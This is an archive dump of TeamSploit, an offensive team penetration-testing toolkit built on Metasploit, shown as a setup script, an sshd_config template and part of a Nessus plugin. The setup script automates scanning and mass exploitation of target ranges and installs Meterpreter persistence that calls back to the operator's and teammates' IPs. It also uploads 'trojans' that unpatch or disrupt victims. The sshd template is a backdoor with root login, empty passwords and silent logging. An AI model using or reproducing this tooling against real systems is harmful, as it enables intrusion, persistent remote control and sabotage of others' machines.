echo "set ExitOnSession false" >> .teamsploit.rc.listener
echo "use exploit/multi/handler" >> .teamsploit.rc.listener
echo "setg LHOST $TS_MY_IP" >> .teamsploit.rc.listener
echo "set LPORT $TS_TEAM_PORT" >> .teamsploit.rc.listener
echo "exploit -z -j" >> .teamsploit.rc.listener
echo "set ExitOnSession false" >> .teamsploit.rc.listener
echo "set LPORT $TS_TEAM_PORT_2" >> .teamsploit.rc.listener
echo "exploit -z -j" >> .teamsploit.rc.listener
echo "set ExitOnSession false" >> .teamsploit.rc.listener
echo "set LPORT $TS_TEAM_PORT_HTTP" >> .teamsploit.rc.listener
echo "exploit -z -j" >> .teamsploit.rc.listener
echo "set ExitOnSession false" >> .teamsploit.rc.listener
echo "set LPORT $TS_TEAM_PORT_HTTPS" >> .teamsploit.rc.listener
echo "exploit -z -j" >> .teamsploit.rc.listener
echo "clear" >> .teamsploit.rc.listener
echo "jobs -v" >> .teamsploit.rc.listener
echo "set Prompt teamsploit" > .teamsploit.rc.primary
if [ $TS_SPLOITWATCH == 1 ]; then
echo "load sploitwatch" >> .teamsploit.rc.primary
echo "set SPLOITWATCH_CMD_REPORT $TS_SPLOITWATCH_CMD_REPORT" >> .teamsploit.rc.primary
echo "set SPLOITWATCH_SRV_URI $TS_SPLOITWATCH_SRV_URI" >> .teamsploit.rc.primary
echo "set SPLOITWATCH_EVENT $TS_SPLOITWATCH_EVENT" >> .teamsploit.rc.primary
echo "set SPLOITWATCH_HANDLE $TS_SPLOITWATCH_HANDLE" >> .teamsploit.rc.primary
fi
echo "load autopost" >> .teamsploit.rc.primary
echo "load openvas" >> .teamsploit.rc.primary
echo "load nexpose" >> .teamsploit.rc.primary
echo "load nessus" >> .teamsploit.rc.primary
echo "load nessus_teamsploit" >> .teamsploit.rc.primary
echo "load auto_exploit" >> .teamsploit.rc.primary
echo "load pass_the_hash" >> .teamsploit.rc.primary
echo "set AutoLoadStdapi false" >> .teamsploit.rc.primary
# Connect to our Vuln Scanner(s)
if [ $TS_NESSUS_CONNECT == 1 ]; then
echo "nessus_connect $TS_NESSUS_USER:$TS_NESSUS_PASS@$TS_NESSUS_HOST:$TS_NESSUS_PORT ok" >> .teamsploit.rc.primary
echo "nessus_teamsploit_connect $TS_NESSUS_USER:$TS_NESSUS_PASS@$TS_NESSUS_HOST:$TS_NESSUS_PORT ok" >> .teamsploit.rc.primary
fi
if [ $TS_NEXPOSE_CONNECT == 1 ]; then
echo "nexpose_connect $TS_NEXPOSE_USER:$TS_NEXPOSE_PASS@$TS_NEXPOSE_HOST:$TS_NEXPOSE_PORT ok" >> .teamsploit.rc.primary
fi
if [ $TS_OPENVAS_CONNECT == 1 ]; then
echo "openvas_connect $TS_OPENVAS_USER:$TS_OPENVAS_PASS@$TS_OPENVAS_HOST:$TS_OPENVAS_PORT ok" >> .teamsploit.rc.primary
fi
# We can haz shared DB?
if [ $TS_LOCAL == 0 ]; then
echo "db_connect $TS_DB_USER:$TS_DB_PASS@$TS_DB_HOST:$TS_DB_PORT/$TS_DB_NAME" >> .teamsploit.rc.primary
fi
# Duplicate our Primary RC for Sub Primary Shells
echo "clear" >> .teamsploit.rc.primary
echo "show plugins" >> .teamsploit.rc.primary
cp .teamsploit.rc.primary .teamsploit.rc.primary.sub
# Run Scans?
SCAN_RANGE=`echo $TS_TARGET_RANGES | sed -e 's/;/\n/g' | sed -e 's/$/.0\/24/g' | tr '\n' ',' | sed -e 's/\,$//g'`
if [ $TS_NESSUS_AUTOSCAN == 1 ]; then
echo "nessus_scan_new $TS_NESSUS_POLICY \"teamsploit - `date +%D-%T`\" $SCAN_RANGE" >> .teamsploit.rc.primary
fi
if [ $TS_NEXPOSE_AUTOSCAN == 1 ]; then
echo "nexpose_scan $SCAN_RANGE" >> .teamsploit.rc.primary
fi
if [ $TS_OPENVAS_AUTOSCAN == 1 ]; then
echo "openvas_target_create \"teamsploit\" $SCAN_RANGE \"targets\"" >> .teamsploit.rc.primary
echo "openvas_task_create \"teamsploit Scan\" \"Scan teamsploit Targets\" 0 1" >> .teamsploit.rc.primary
echo "openvas_task_start 0" >> .teamsploit.rc.primary
fi
# Are we running a MSFD/MSFRPCD Service?
if [ $TS_SERVER == 1 ]; then
echo "load msfd ServerHost=$TS_MY_IP ServerPort=$TS_SERVER_MSFD_PORT" >> .teamsploit.rc.primary
echo "load msgrpc Host=$TS_MY_IP Port=$TS_SERVER_MSFRPCD_PORT User=$TS_SERVER_MSFRPCD_USER Pass=$TS_SERVER_MSFRPCD_PASS" >> .teamsploit.rc.primary
fi
echo "clear" >> .teamsploit.rc.primary
echo "show plugins" >> .teamsploit.rc.primary
WORKSPACE_NAME=`date +teamsploit_%s`
if [ $TS_AUTO_OWN == 1 ];then
echo "workspace -a $WORKSPACE_NAME" >> .teamsploit.rc.primary
echo "workspace $WORKSPACE_NAME" >> .teamsploit.rc.primary
echo "nessus_teamsploit_scan_wait" >> .teamsploit.rc.primary
echo "nessus_teamsploit_report_get last" >> .teamsploit.rc.primary
echo "vuln_exploit -j $TS_AUTO_OWN_JOBS" >> .teamsploit.rc.primary
echo "pass_the_hash -j $TS_AUTO_OWN_JOBS" >> .teamsploit.rc.primary
echo "clear" >> .teamsploit.rc.primary
echo "sessions -l" >> .teamsploit.rc.primary
fi
rm /tmp/autopost.rb.* 2> /dev/null
# Lets setup the plugins!
echo "session.run_cmd('run persistence -S -U -X -i 30 -p $TS_TEAM_PORT -r $TS_MY_IP')" > .msf/plugins/.autopost.source.persistence
if [[ $TS_SHARE_SHELLS == 1 ]] && [[ $TS_TEAM_MATES != "" ]]; then
echo $TS_TEAM_MATES | sed -e 's/;/\n/g' | sed -e 's/^/session.run_cmd(\"run persistence -S -U -X -i 30 -p '$TS_TEAM_PORT' -r /g' -e 's/$/\")/g' | tr '"' "'" >> .msf/plugins/.autopost.source.persistence
fi
echo > .msf/plugins/.autopost.source.trojans
if [ $TS_NETSTOPPER == 1 ]; then
echo "session.run_cmd('upload ./.trojans/netstopper.cmd .')" >> .msf/plugins/.autopost.source.trojans
echo "session.run_cmd('execute -H -f netstopper.cmd')" >> .msf/plugins/.autopost.source.trojans
fi
if [ $TS_UNPATCHER == 1 ]; then
echo "session.run_cmd('upload ./.trojans/unpatch.cmd .')" >> .msf/plugins/.autopost.source.trojans
echo "session.run_cmd('execute -H -f unpatch.cmd')" >> .msf/plugins/.autopost.source.trojans
fi
if [ $TS_TROLLWARE == 1 ]; then
echo "session.run_cmd('upload ./.trojans/wintroll.cmd .')" >> .msf/plugins/.autopost.source.trojans
echo "session.run_cmd('upload ./.trojans/wallpaper.bmp .')" >> .msf/plugins/.autopost.source.trojans
echo "session.run_cmd('execute -H -f wintroll.cmd')" >> .msf/plugins/.autopost.source.trojans
fi
TS_LOOT_DIR_DEL=`echo $TS_LOOT_DIR | sed -e 's/\//||/g'`
if [ $TS_TARGET_SOLO == 0 ]; then
sed '/#!TS_AUTOPOST_AUTOTARGET!#/ r .msf/plugins/.autopost.source.autotarget' .msf/plugins/.autopost.source.general > /tmp/autopost.rb.autotarget
sed '/#!TS_AUTOPOST_GENERAL!#/ r /tmp/autopost.rb.autotarget' .msf/plugins/.autopost.source > /tmp/autopost.rb.general
else
sed '/#!TS_AUTOPOST_GENERAL!#/ r .msf/plugins/.autopost.source.general' .msf/plugins/.autopost.source > /tmp/autopost.rb.general
fi
sed '/#!TS_AUTOPOST_WINDOWS!#/ r .msf/plugins/.autopost.source.windows' /tmp/autopost.rb.general > /tmp/autopost.rb.windows
sed '/#!TS_AUTOPOST_LINUX!#/ r .msf/plugins/.autopost.source.linux' /tmp/autopost.rb.windows > /tmp/autopost.rb.linux
sed '/#!TS_AUTOPOST_OSX!#/ r .msf/plugins/.autopost.source.osx' /tmp/autopost.rb.linux > /tmp/autopost.rb.oxs
sed '/#!TS_AUTOPOST_PERSISTENCE!#/ r .msf/plugins/.autopost.source.persistence' /tmp/autopost.rb.oxs > /tmp/autopost.rb.persistence
sed '/#!TS_AUTOPOST_TROJANS!#/ r .msf/plugins/.autopost.source.trojans' /tmp/autopost.rb.persistence > /tmp/autopost.rb.trojans
sed -e 's/#!TS_AUTOPOST_GENERAL!#//g' -e 's/#!TS_AUTOPOST_WINDOWS!#//g' -e 's/#!TS_AUTOPOST_LINUX!#//g' -e 's/#!TS_AUTOPOST_OSX!#//g' -e 's/#!TS_AUTOPOST_PERSISTENCE!#//g' -e 's/#!TS_AUTOPOST_TROJANS!#//g' -e 's/#!TS_AUTOPOST_AUTOTARGET!#//g' /tmp/autopost.rb.trojans > /tmp/autopost.rb.full
sed -e 's/#!TS_LOOT_DIR!#/'$TS_LOOT_DIR_DEL'/g' -e 's/||/\//g' /tmp/autopost.rb.full > /tmp/autopost.rb.final
sed -e 's/#!TS_AUTOPOST_OUTPUT!#/'$TS_AUTOPOST_OUTPUT'/g' -e 's/#!TS_TEAM_MATES!#/'$TS_TEAM_MATES'/g' -e 's/#!TS_TEAM_PORT!#/'$TS_TEAM_PORT'/g' -e 's/#!TS_ADMIN_USER!#/'$TS_ADMIN_USER'/g' -e 's/#!TS_ADMIN_PASS!#/'$TS_ADMIN_PASS'/g' /tmp/autopost.rb.final > ./.msf/plugins/autopost.rb
cat .msf/plugins/autopost.rb | grep -vf .msf/plugins/.autopost.source.autotarget > .msf/plugins/autopost_notrg.rb
sudo cp -R ./.msf/plugins/*.rb $TS_MSF_PATH/msf3/plugins/
sudo cp -R ./.msf/scripts/meterpreter/*.rb $TS_MSF_PATH/msf3/scripts/meterpreter/
if [ $TS_SERVER == 1 ]; then
sudo msfd -a $TS_MY_IP -p $TS_SERVER_MSFD_PORT
sudo msfrpcd -a $TS_MY_IP -p $TS_SERVER_MSFRPCD_PORT -U $TS_SERVER_MSFRPCD_USER -P $TS_SERVER_MSFRPCD_PASS
sleep 10
cat .teamsploit.rc.primary.sub | sed '$aexit' | nc $TS_MY_IP $TS_SERVER_MSFD_PORT
fi
if [ $TS_TROJAN == 1 ]; then
./.gentrojan
fi
teamsploit_0~20151123/.trojans/.startup/rm 000755 001750 001750 00000000072 11732510376 021201 0 ustar 00sophie sophie 000000 000000 mkdir -p #!TS_TROJAN_PATH!#
mv $* #!TS_TROJAN_PATH!#/loot
teamsploit_0~20151123/.msf/scripts/ 000755 001750 001750 00000000000 12624613016 017646 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.trojans/.startup/sshd_config 000644 001750 001750 00000004635 11732510376 023057 0 ustar 00sophie sophie 000000 000000 # Package generated configuration file
# See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for
Port 22
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation no
# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768
# Logging
SyslogFacility AUTH
LogLevel SILENT
# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes no
RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile %h/.ssh/authorized_keys
# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords yes
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no
# Change to no to disable tunnelled clear text passwords
PasswordAuthentication yes
# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no
#MaxStartups 10:30:60
#Banner /etc/issue.net
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM no
UseDNS no
teamsploit_0~20151123/teamsploit 000755 001750 001750 00000001721 12272512371 017425 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Ben Heise (Twitter:@benheise) Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
# Config...because we can
source teamsploit.conf
if [ $TS_GUI == 1 ]; then
./teamsploit_gui
else
./teamsploit_cli
fi
teamsploit_0~20151123/.msf/plugins/nessus_teamsploit.rb 000644 001750 001750 00000141005 12021551624 023744 0 ustar 00sophie sophie 000000 000000 # TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Team ICF (Twitter:@ICFRedTeam)
#
# Modified Version of Nessus Bridge/Plugin
# Released under Metasploit BSD-Based License
# $Id: nessus.rb 15085 2012-04-09 15:04:04Z rapid7 $
# $Revision: 15085 $
require 'nessus/nessus-xmlrpc'
require 'rex/parser/nessus_xml'
module Msf
class Plugin::NessusTeamSploit < Msf::Plugin
#creates the index of exploit details to make searching for exploits much faster.
def create_xindex
start = Time.now
print_status("Creating Exploit Search Index - (#{@xindex}) - this wont take long.")
count = 0
# use Msf::Config.get_config_root as the location.
File.open("#{@xindex}", "w+") do |f|
#need to add version line.
f.puts(Msf::Framework::RepoRevision)
framework.exploits.sort.each { |refname, mod|
stuff = ""
o = nil
begin
o = mod.new
rescue ::Exception
end
stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}"
next if not o
o.references.map do |x|
if !(x.ctx_id == "URL")
if (x.ctx_id == "MSB")
stuff << "|#{x.ctx_val}"
else
stuff << "|#{x.ctx_id}-#{x.ctx_val}"
end
end
end
stuff << "\n"
f.puts(stuff)
}
end
total = Time.now - start
print_status("It has taken : #{total} seconds to build the exploits search index")
end
def nessus_teamsploit_index
if File.exist?("#{@xindex}")
#check if it's version line matches current version.
File.open("#{@xindex}") {|f|
line = f.readline
line.chomp!
if line.to_i == Msf::Framework::RepoRevision
print_good("Exploit Index - (#{@xindex}) - is valid.")
else
create_xindex
end
}
else
create_xindex
end
end
class ConsoleCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
def name
"Nessus_TeamSploit"
end
def commands
{
"nessus_teamsploit_connect" => "Connect to a nessus server: nconnect username:password@hostname:port .",
"nessus_teamsploit_admin" => "Checks if user is an admin.",
"nessus_teamsploit_help" => "Get help on all commands.",
"nessus_teamsploit_logout" => "Terminate the session.",
"nessus_teamsploit_server_status" => "Check the status of your Nessus Server.",
"nessus_teamsploit_server_feed" => "Nessus Feed Type.",
"nessus_teamsploit_server_prefs" => "Display Server Prefs.",
"nessus_teamsploit_report_list" => "List all Nessus reports.",
"nessus_teamsploit_report_get" => "Import a report from the nessus server in Nessus v2 format.",
"nessus_teamsploit_report_del" => "Delete a report.",
"nessus_teamsploit_report_hosts" => "Get list of hosts from a report.",
"nessus_teamsploit_report_host_ports" => "Get list of open ports from a host from a report.",
"nessus_teamsploit_report_host_detail" => "Detail from a report item on a host.",
"nessus_teamsploit_scan_status" => "List all currently running Nessus scans.",
"nessus_teamsploit_scan_wait" => "Wait for all running scans to complete.",
"nessus_teamsploit_scan_new" => "Create new Nessus Scan.",
"nessus_teamsploit_scan_pause" => "Pause a Nessus Scan.",
"nessus_teamsploit_scan_pause_all" => "Pause all Nessus Scans.",
"nessus_teamsploit_scan_stop" => "Stop a Nessus Scan.",
"nessus_teamsploit_scan_stop_all" => "Stop all Nessus Scans.",
"nessus_teamsploit_scan_resume" => "Resume a Nessus Scan.",
"nessus_teamsploit_scan_resume_all" => "Resume all Nessus Scans.",
"nessus_teamsploit_user_list" => "Show Nessus Users.",
"nessus_teamsploit_user_add" => "Add a new Nessus User.",
"nessus_teamsploit_user_del" => "Delete a Nessus User.",
"nessus_teamsploit_user_passwd" => "Change Nessus Users Password.",
"nessus_teamsploit_plugin_family" => "List plugins in a family.",
"nessus_teamsploit_plugin_details" => "List details of a particular plugin.",
"nessus_teamsploit_plugin_list" => "Displays each plugin family and the number of plugins.",
"nessus_teamsploit_plugin_prefs" => "Display Plugin Prefs.",
"nessus_teamsploit_policy_list" => "List all polciies.",
"nessus_teamsploit_policy_del" => "Delete a policy.",
"nessus_teamsploit_index" => "Manually generates a search index for exploits.",
"nessus_teamsploit_template_list" => "List all the templates on the server.",
"nessus_teamsploit_db_scan" => "Create a scan of all ips in db_hosts.",
"nessus_teamsploit_save" => "Save username/passowrd/server/port details."
}
end
def cmd_nessus_teamsploit_index
Msf::Plugin::NessusTeamSploit.nessus_teamsploit_index
end
def cmd_nessus_teamsploit_save(*args)
#if we are logged in, save session details to nessus.yaml
@nessus_teamsploit_yaml = "#{Msf::Config.get_config_root}/nessus.yaml"
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_save")
return
end
if args[0]
print_status("Usage: ")
print_status(" nessus_teamsploit_save")
return
end
group = "default"
if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0))
config = Hash.new
config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}}
File.open("#{@nessus_teamsploit_yaml}", "w+") do |f|
f.puts YAML.dump(config)
end
print_good("#{@nessus_teamsploit_yaml} created.")
else
print_error("Missing username/password/server/port - relogin and then try again.")
return
end
end
def cmd_nessus_teamsploit_db_scan(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_db_scan ")
print_status(" Example:> nessus_teamsploit_db_scan 1 \"My Scan\"")
print_status()
print_status("Creates a scan based on all the hosts listed in db_hosts.")
print_status("use nessus_teamsploit_policy_list to list all available policies")
return
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 2
pid = args[0].to_i
name = args[1]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_db_scan ")
print_status(" use nessus_teamsploit_policy_list to list all available policies")
return
end
if check_policy(pid)
print_error("That policy does not exist.")
return
end
tgts = ""
framework.db.hosts(framework.db.workspace).each do |host|
tgts << host.address
tgts << ","
end
tgts.chop!
print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning all hosts in workspace")
scan = @n.scan_new(pid, name, tgts)
if scan
print_status("Scan started. uid is #{scan}")
end
end
def cmd_nessus_teamsploit_logout
@token = nil
print_status("Logged out")
system("rm #{@nessus_teamsploit_yaml}")
print_good("#{@nessus_teamsploit_yaml} removed.")
return
end
def cmd_nessus_teamsploit_help(*args)
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Command',
'Help Text'
]
)
tbl << [ "Generic Commands", "" ]
tbl << [ "-----------------", "-----------------"]
tbl << [ "nessus_teamsploit_connect", "Connect to a nessus server" ]
tbl << [ "nessus_teamsploit_save", "Save nessus login info between sessions" ]
tbl << [ "nessus_teamsploit_logout", "Logout from the nessus server" ]
tbl << [ "nessus_teamsploit_help", "Listing of available nessus commands" ]
tbl << [ "nessus_teamsploit_server_status", "Check the status of your Nessus Server" ]
tbl << [ "nessus_teamsploit_admin", "Checks if user is an admin" ]
tbl << [ "nessus_teamsploit_server_feed", "Nessus Feed Type" ]
tbl << [ "nessus_teamsploit_find_targets", "Try to find vulnerable targets from a report" ]
tbl << [ "nessus_teamsploit_server_prefs", "Display Server Prefs" ]
tbl << [ "", ""]
tbl << [ "Reports Commands", "" ]
tbl << [ "-----------------", "-----------------"]
tbl << [ "nessus_teamsploit_report_list", "List all Nessus reports" ]
tbl << [ "nessus_teamsploit_report_get", "Import a report from the nessus server in Nessus v2 format" ]
tbl << [ "nessus_teamsploit_report_hosts", "Get list of hosts from a report" ]
tbl << [ "nessus_teamsploit_report_host_ports", "Get list of open ports from a host from a report" ]
tbl << [ "nessus_teamsploit_report_host_detail", "Detail from a report item on a host" ]
tbl << [ "", ""]
tbl << [ "Scan Commands", "" ]
tbl << [ "-----------------", "-----------------"]
tbl << [ "nessus_teamsploit_scan_new", "Create new Nessus Scan" ]
tbl << [ "nessus_teamsploit_scan_status", "List all currently running Nessus scans" ]
tbl << [ "nessus_teamsploit_scan_wait", "Wait for all running scans to complete" ]
tbl << [ "nessus_teamsploit_scan_pause", "Pause a Nessus Scan" ]
tbl << [ "nessus_teamsploit_scan_pause_all", "Pause all Nessus Scans" ]
tbl << [ "nessus_teamsploit_scan_stop", "Stop a Nessus Scan" ]
tbl << [ "nessus_teamsploit_scan_stop_all", "Stop all Nessus Scans" ]
tbl << [ "nessus_teamsploit_scan_resume", "Resume a Nessus Scan" ]
tbl << [ "nessus_teamsploit_scan_resume_all", "Resume all Nessus Scans" ]
tbl << [ "", ""]
tbl << [ "Plugin Commands", "" ]
tbl << [ "-----------------", "-----------------"]
tbl << [ "nessus_teamsploit_plugin_list", "Displays each plugin family and the number of plugins" ]
tbl << [ "nessus_teamsploit_plugin_family", "List plugins in a family" ]
tbl << [ "nessus_teamsploit_plugin_details", "List details of a particular plugin" ]
tbl << [ "", ""]
tbl << [ "User Commands", "" ]
tbl << [ "-----------------", "-----------------"]
tbl << [ "nessus_teamsploit_user_list", "Show Nessus Users" ]
tbl << [ "nessus_teamsploit_user_add", "Add a new Nessus User" ]
tbl << [ "nessus_teamsploit_user_del", "Delete a Nessus User" ]
tbl << [ "nessus_teamsploit_user_passwd", "Change Nessus Users Password" ]
tbl << [ "", ""]
tbl << [ "Policy Commands", "" ]
tbl << [ "-----------------", "-----------------"]
tbl << [ "nessus_teamsploit_policy_list", "List all polciies" ]
tbl << [ "nessus_teamsploit_policy_del", "Delete a policy" ]
print_status ""
print_line tbl.to_s
print_status ""
end
def cmd_nessus_teamsploit_server_feed(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_server_feed")
print_status(" Example:> nessus_teamsploit_server_feed")
print_status()
print_status("Returns information about the feed type and server version.")
return
end
if nessus_teamsploit_verify_token
@feed, @version, @web_version = @n.feed
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Feed',
'Nessus Version',
'Nessus Web Version'
])
tbl << [@feed, @version, @web_version]
print_good("Nessus Status")
print_good "\n"
print_line tbl.to_s
end
end
def nessus_teamsploit_verify_token
if @token.nil? or @token == ''
ncusage
return false
end
true
end
def nessus_teamsploit_verify_db
if ! (framework.db and framework.db.active)
print_error("No database has been configured, please use db_create/db_connect first")
return false
end
true
end
def ncusage
print_status("%redYou must do this before any other commands.%clr")
print_status("Usage: ")
print_status(" nessus_teamsploit_connect username:password@hostname:port ")
print_status(" Example:> nessus_teamsploit_connect msf:msf@192.168.1.10:8834 ok")
print_status(" OR")
print_status(" nessus_teamsploit_connect username@hostname:port ")
print_status(" Example:> nessus_teamsploit_connect msf@192.168.1.10:8834 ok")
print_status(" OR")
print_status(" nessus_teamsploit_connect hostname:port ")
print_status(" Example:> nessus_teamsploit_connect 192.168.1.10:8834 ok")
print_status(" OR")
print_status(" nessus_teamsploit_connect")
print_status(" Example:> nessus_teamsploit_connect")
print_status("This only works after you have saved creds with nessus_teamsploit_save")
return
end
def cmd_nessus_teamsploit_connect(*args)
# Check if config file exists and load it
@nessus_teamsploit_yaml = "#{Msf::Config.get_config_root}/nessus.yaml"
if ! args[0]
if File.exist?("#{@nessus_teamsploit_yaml}")
lconfig = YAML.load_file("#{@nessus_teamsploit_yaml}")
@user = lconfig['default']['username']
@pass = lconfig['default']['password']
@host = lconfig['default']['server']
@port = lconfig['default']['port']
nessus_teamsploit_login
return
else
ncusage
return
end
end
if args[0] == "-h"
print_status("%redYou must do this before any other commands.%clr")
print_status("Usage: ")
print_status(" nessus_teamsploit_connect username:password@hostname:port ")
print_status(" Example:> nessus_teamsploit_connect msf:msf@192.168.1.10:8834 ok")
print_status(" OR")
print_status(" nessus_teamsploit_connect username@hostname:port ")
print_status(" Example:> nessus_teamsploit_connect msf@192.168.1.10:8834 ok")
print_status(" OR")
print_status(" nessus_teamsploit_connect hostname:port ")
print_status(" Example:> nessus_teamsploit_connect 192.168.1.10:8834 ok")
print_status(" OR")
print_status(" nessus_teamsploit_connect")
print_status(" Example:> nessus_teamsploit_connect")
print_status("This only works after you have saved creds with nessus_teamsploit_save")
print_status()
print_status("%bldusername%clr and %bldpassword%clr are the ones you use to login to the nessus web front end")
print_status("%bldhostname%clr can be an ip address or a dns name of the web front end.")
print_status("%bldport%clr is the standard that the nessus web front end runs on : 8834. This is NOT 1241.")
print_status("The \"ok\" on the end is important. It is a way of letting you")
print_status("know that nessus used a self signed cert and the risk that presents.")
return
end
if ! @token == ''
print_error("You are already authenticated. Call nessus_teamsploit_logout before authing again")
return
end
if(args.length == 0 or args[0].empty?)
ncusage
return
end
@user = @pass = @host = @port = @sslv = nil
case args.length
when 1,2
if args[0].include? "@"
cred,targ = args[0].split('@', 2)
@user,@pass = cred.split(':', 2)
targ ||= '127.0.0.1:8834'
@host,@port = targ.split(':', 2)
@port ||= '8834'
@sslv = args[1]
else
@host,@port = args[0].split(':', 2)
@port ||= '8834'
@sslv = args[1]
end
when 3,4,5
ncusage
return
else
ncusage
return
end
if /\/\//.match(@host)
ncusage
return
end
if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok")
print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker")
print_error(" with the ability to man-in-the-middle the Nessus traffic to capture the Nessus")
print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'")
print_error(" as an additional parameter to this command.")
return
end
if ! @user
print_error("Missing Username")
ncusage
return
end
if ! @pass
print_error("Missing Password")
ncusage
return
end
if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0))
ncusage
return
end
nessus_teamsploit_login
end
def nessus_teamsploit_login
if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0))
print_status("You need to connect to a server first.")
ncusage
return
end
@url = "https://#{@host}:#{@port}/"
print_status("Connecting to #{@url} as #{@user}")
@n=NessusXMLRPC::NessusXMLRPC.new(@url,@user,@pass)
@token=@n.login(@user,@pass)
if @n.logged_in
print_status("Authenticated")
else
print_error("Error connecting/logging to the server!")
return
end
end
def cmd_nessus_teamsploit_report_list(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_report_list")
print_status(" Example:> nessus_teamsploit_report_list")
print_status()
print_status("Generates a list of all reports visable to your user.")
return
end
if ! nessus_teamsploit_verify_token
return
end
list=@n.report_list_hash
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'ID',
'Name',
'Status',
'Date'
])
list.each {|report|
t = Time.at(report['timestamp'].to_i)
tbl << [ report['id'], report['name'], report['status'], t.strftime("%H:%M %b %d %Y") ]
}
print_good("Nessus Report List")
print_good "\n"
print_line tbl.to_s + "\n"
print_status("You can:")
print_status(" Get a list of hosts from the report: nessus_teamsploit_report_hosts ")
end
def check_scan(*args)
case args.length
when 1
rid = args[0]
else
print_error("No Report ID Supplied")
return
end
scans = @n.scan_list_hash
scans.each {|scan|
if scan['id'] == rid
return true
end
}
return false
end
def cmd_nessus_teamsploit_report_get(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_report_get ")
print_status(" Example:> nessus_teamsploit_report_get f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca")
print_status()
print_status("This command pulls the provided report from the nessus server in the nessusv2 format")
print_status("and parses it the same way db_import_nessus does. After it is parsed it will be")
print_status("available to commands such as db_hosts, db_vulns, db_services and db_autopwn.")
print_status("Use: nessus_teamsploit_report_list to obtain a list of report id's")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! nessus_teamsploit_verify_db
return
end
if args[0] == "last"
scans = []
sorted = []
scanlist=@n.report_list_hash
if scanlist
scanlist.each {|report|
scans << { 'id'=>report['id'], 'timestamp'=>report['timestamp'].to_i }
}
scans.sort! {|x,y| y['timestamp'] <=> x['timestamp'] }
lastscan = scans.shift
if lastscan['id']
args[0] = lastscan['id']
else
args[0] = ""
end
end
end
if(args.length == 0 or args[0].empty? or args[0] == "-h")
print_status("Usage: ")
print_status(" nessus_teamsploit_report_get ")
print_status(" use nessus_teamsploit_report_list to list all available reports for importing")
return
end
rid = nil
case args.length
when 1
rid = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_report_get ")
print_status(" use nessus_teamsploit_report_list to list all available reports for importing")
return
end
if check_scan(rid)
print_error("That scan is still running.")
return
end
content = nil
content=@n.report_file_download(rid)
if content.nil?
print_error("Failed, please reauthenticate")
return
end
print_status("importing " + rid)
framework.db.import({:data => content}) do |type,data|
case type
when :address
